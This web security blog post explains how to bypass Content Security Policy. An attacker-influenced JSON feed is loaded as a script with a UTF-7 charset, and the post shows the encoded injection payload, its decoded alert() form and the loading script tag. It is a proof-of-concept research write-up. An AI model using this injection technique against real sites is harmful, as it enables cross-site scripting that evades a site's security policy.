The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    Bypassing CSP for fun, no profit

    By Gareth Heyes (@hackvertor)

    Published 16 years 5 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

    ← Back to articles

    I had fun at Confidence 2.0 CON, I'm gonna blog about the stuff I was holding back now :)

    So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

    Utf-7 can be fully encoded meaning that you can conceal string characters and others. 'ABC' becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:- [{'friend':'something',email:'something'} ]

    If we can influence the "something" parts then we inject the feed with our data to bypass CSP:- [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb wBiACcAOgAnAGQAbwBuAGU-'}]

    This is what the code looks like when decoded:- [{'friend':'luke','email':''}];alert('May the force be with you');[{'job':'done'}]

    We then inject the data by referencing it using a script tag and a charset:-

    <pre lang="javascript"> &quot;&gt;&lt;script src=&quot;http://some.website/test.json&quot; charset=&quot;utf-7&quot;&gt;&lt;/script&gt; </pre>

    This successfully executes in CSP bypasing it's restrictions because the code comes from the domain itself and doesn't use in-line or attribute based XSS.

    As always as demo is available here:- CSP bypass

    ← Back to articles